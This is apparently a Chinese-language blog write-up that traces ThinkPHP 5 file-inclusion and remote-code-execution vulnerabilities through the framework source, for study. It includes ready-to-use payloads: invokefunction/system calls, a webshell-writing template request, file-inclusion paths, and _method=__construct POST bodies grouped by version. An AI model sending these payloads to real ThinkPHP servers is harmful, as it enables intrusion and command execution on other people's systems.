跟一下Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合,记点笔记
tp5_LFI
本次漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
复现:

application\index\controller\Index.php:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}
|
get获取的数组直接传入assign作为参数:
下断点可以看到此时$name数组的值

跟进assign函数到thinkphp\library\think\View.php中View类的assign($name, $value = '')函数
然后使用array_merge函数将cacheFile: "aaa.jpg"合并入$this->data

然后程序开始调用 fetch方法加载模板输出,跟进到thinkphp\library\think\View.php的fetch函数,因为$renderContent = false,所以$method='fetch'

于是$this->engine->$method去调用模板引擎的fetch函数
单步调试到thinkphp\library\think\view\driver\Think.php的fetch函数

可以看到如果模板存在,则继续调用$this->template->fetch,跟进到thinkphp\library\think\Template.php的fetch函数:

然后将$vars赋值给$this->data,快速看看一下引用看到:

这里的$cacheFile为:

因为看到调用了$this->storage->read,所以在此处下个断点,继续单步调试跟进一下

最后$vars传入了thinkphp\library\think\template\driver\File.php中File类的read函数,这里存在extract变量覆盖,可以看到$cacheFile的值已经覆盖为了用户get传入的aaa.jpg,随后进行了include文件包含,造成了LFI

tp5_RCE
本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞 。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10
复现:


application\index\controller\Index.php:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
|
首先看到input函数,使用get传参,键名为username:

然后看到Cache::set方法用于写入缓存,跟进后看到使用init方法实例化一个类,由Config类的get方法获取缓存的配置信息,然后调用connect方法去连接缓存:

因为缓存默认配置$options['type']为File,所以connect方法实际上是去实例化\think\cache\driver\File类,所以init方法中的self::$handler即为\think\cache\driver\File类实例,这样缓存将作为文件存储在runtime\cache\路径下,为写shell创造条件

所以回到thinkphp\library\think\Cache.php中的set方法,self::init()->set($name, $value, $expire)即为调用\think\cache\driver\File类的set方法
在return self::init()->set($name, $value, $expire);处下断点,单步调试跟进后跳到thinkphp\library\think\cache\driver\File.php的set方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
|
可以看到缓存文件名由getCacheKey($name)获得,跟进后看到,缓存目录和文件名为$name也就是缓存类设置的键名的32位md5值,目录为前两位,剩余30位.php为缓存文件名:

这里因为之前设置的键名为name,所以路径为:runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php
回到set方法,我们传入的$data没有经过其他处理,$this->options['data_compress']默认为false,所以也不会经过gzcompress的处理,然后经过拼接php头尾就调用file_put_contents写入缓存文件,所以这里经过CRLF注入可以绕过拼接的注释符

但是这个洞的利用需要配合LFI使用,因为runtime目录与public同级,一般是访问不到的,并且需要知道$this->options['prefix']和缓存设置的键名,才能算出缓存文件名和目录,比较局限
tp5_RCE_get
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。
漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。
payload:
5.1.x :
1
2
3
4
5
|
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
5.0.x :
1
2
3
4
|
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
复现:

在没有开启强制路由、对控制器没有过滤的情况下,可以调用任意控制器和方法进行getshell

在thinkphp\library\think\route\dispatch\Module.php70行$controller处下断点,获取控制器名、获取操作名后转到thinkphp\library\think\App.php中App类的run方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
<?php
/**
* 执行应用程序
* @access public
* @return Response
* @throws Exception
*/
public function run()
{
try {
// 初始化应用
$this->initialize();
// 监听app_init
$this->hook->listen('app_init');
if ($this->bindModule) {
// 模块/控制器绑定
$this->route->bind($this->bindModule);
} elseif ($this->config('app.auto_bind_module')) {
// 入口自动绑定
$name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
$this->route->bind($name);
}
}
// 监听app_dispatch
$this->hook->listen('app_dispatch');
$dispatch = $this->dispatch;
if (empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
}
// 记录当前调度信息
$this->request->dispatch($dispatch);
// 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
}
// 监听app_begin
$this->hook->listen('app_begin');
// 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
);
$data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
}
$this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});
$response = $this->middleware->dispatch($this->request);
// 监听app_end
$this->hook->listen('app_end', $response);
return $response;
}
|
然后调用thinkphp\library\think\route\Dispatch.php中Dispatch类的run方法

跟进后到执行$data = $this->exec();跳回到thinkphp\library\think\route\dispatch\Module.php中Module类的exec方法,可以看到最后调用了invokeReflectMethod反射类调用的方法

进一步跟进,可以看到利用反射类调用Request类的input方法

跳到thinkphp\library\think\Request.php中Request类的filterValue方法,这里存在可控的call_user_func($filter, $value);

最终达成rce,可见此漏洞成因为类、方法任意可控且未对控制器进行过滤
tp5_RCE_post
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
payload:
1
2
3
4
5
6
7
8
9
10
11
12
|
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
|
复现:
composer安装的tp5.0.23不带captcha模块
自己装一下captcha:
1
2
|
composer require topthink/think-captcha 1.*
# tp5.0的版本是使用1.*,tp5.1的版本是使用2.*
|
然后在application\config.php中添加:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
//验证码配置
'captcha' => [
//验证码的字符集
'codeSet' => '23456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
//设置验证码大小
'fontSize' => 18,
//添加混淆曲线
'useCurve' => false,
//设置图片的高度、宽度
'imageW' => 150,
'imageH' => 35,
//验证码位数
'length' =>4,
//验证成功后重置
'reset' =>true
],
|
即可

这里s只需要赋值为一个存在的method路由即可
在tp5.0.24修复了这个漏洞,可以参考https://github.com/top-think/framework/compare/v5.0.23...v5.0.24
主要修改了Request类的method方法

看到thinkphp\library\think\Request.php中Request类的method方法,Config::get('var_method')中的var_method是表单请求类型伪装变量,可在application/config.php中看到其值为_method:

所以可通过指定_method来调用该类下的任意函数,这里将Request类下的$method的值覆盖为__construct了,于是去调用Request类的__construct方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
|
可以看到构造函数中用foreach遍历$POST提交的数据,接着使用property_exists()检测当前类是否具有该属性,如果存在则赋值,这里存在变量覆盖,且参数用户可控
Request 类的所有属性如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
protected $get protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;
|
filter[]=system&method=get&get[]=whoami作用就是把当前Request类下的$filter覆盖为system,$method覆盖为get,$get覆盖为whoami:

随后会对$method进行检查,在thinkphp\library\think\Route.php的check函数,在这里$rules的定义为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
private static $rules = [
'GET' => [],
'POST' => [],
'PUT' => [],
'DELETE' => [],
'PATCH' => [],
'HEAD' => [],
'OPTIONS' => [],
'*' => [],
'alias' => [],
'domain' => [],
'pattern' => [],
'name' => [],
];
|
在tp5.0.8之前,如果前面不覆盖$method的值为get,那么这里就会变为:self::$rules['__construct'],就会直接报错
tp5.0.8之前:
1
|
$rules = self::$rules[$method];
|
tp5.0.8之后:

所以tp5.0.8到tp5.0.12的payload都可以为:
1
2
3
|
POST /
_method=__construct&filter=system&get[]=whoami
_method=__construct&filter=system&leon=whoami
|
在tp5.0.13及以后版本中,thinkphp/library/think/App.php中的module()多了一行过滤:
1
2
|
// 设置默认过滤机制
$request->filter($config['default_filter']);
|
这也是为什么上面的exp只适用与tp5.0.8到tp5.0.12的原因,我们直接对public/index.php访问默认调用的模块名/控制器名/操作名是/index/index/index,默认对应的$dispatch['type']为module,跟进到后面会进入thinkphp\library\think\App.php的exec方法,这里有switch ($dispatch['type'])选择调用对应的方法:

继续跟进,进入到module(),关键在self::invokeMethod($call, $vars);,跟进到invokeMethod方法后继续调用了self::bindParams($reflect, $vars);

继续跟进到Request类的param方法,用于获取当前请求的参数,可以看到又调用了method()获取当前请求方法

继续跟进,获取参数后会调用array_merge($this->get(false), $vars, $this->route(false));对get[],route[],$_POST获取的参数进行合并,那么可以变量覆盖传参,也可以直接POST传参
所以_method=__construct&filter=system&leon=whoami也可以

然后调用input方法,之前的分析已经知道该方法会调用filterValue的回调函数进行命令执行了
这是tp5.0.12以及之前版本的分析
到了tp5.0.13以后,前面说了module方法中添加了过滤$request->filter($config['default_filter']);
再次将$filter覆盖掉,链子就断掉了
所以要想办法绕过module方法,在调试中发现:

如果开启了debug模式,在执行thinkphp\library\think\App.php中的run方法时,会去调用$request->param(),这样就又回到了input方法进而达成RCE,这里在$filter被二次覆盖之前调用了一次param(),这也是有些时侯有两个命令执行的回显的原因
如果没开启debug模式呢?执行module函数是根据$dispatch的类型来决定的,在完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php中:
1
|
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
|
对应的$dispatch['type']为method,路由限定了请求类型为get:

这里进入了case 'method'
1
2
3
4
|
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
|
然后又调用了Request::instance()->param(),进而调用了filterValue的call_user_func达成RCE
tp5.0.21开始,Request类的method方法有改动:
tp5.0.21前:
1
2
3
4
5
6
7
8
9
10
|
<?php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
...
return $this->method;
}
|
tp5.0.21后:
1
2
3
4
5
6
7
8
9
10
|
<?php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
...
return $this->method;
}
|
可以看到tp5.0.21之后通过server()函数获取请求方法,并且其中调用了input()函数,所以只要能进入server()函数也可以造成代码执行:
1
2
3
|
POST /?s=captcha HTTP/1.1
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
|

现在method()的逻辑变了,如果不传递server[REQUEST_METHOD],返回的就是GET,参数的来源有$param[]、$get[]、$route[],还是可以通过变量覆盖来传递参数,但是就不能用之前形如leon=whoami任意参数名来传递了
在route()函数里param[]又被二次覆盖了,所以还剩下get[]和route[]
小结
tp5.0.0到tp5.0.12:
1
2
3
4
|
POST / HTTP/1.1
_method=__construct&filter=system&method=GET&leon=whoami
#leon可以替换成get[]、route[]等
|
tp5.0.13到tp5.0.23:有第三方类库如captcha
1
2
3
4
5
|
POST /?s=captcha HTTP/1.1
_method=__construct&filter=system&method=get&get[]=whoami
get[]可以换成route[]
|
tp5.0.13到tp5.0.23:开启了debug模式
1
2
3
4
5
|
POST / HTTP/1.1
_method=__construct&filter=system&get[]=whoami
get[]可以替换成route[]
|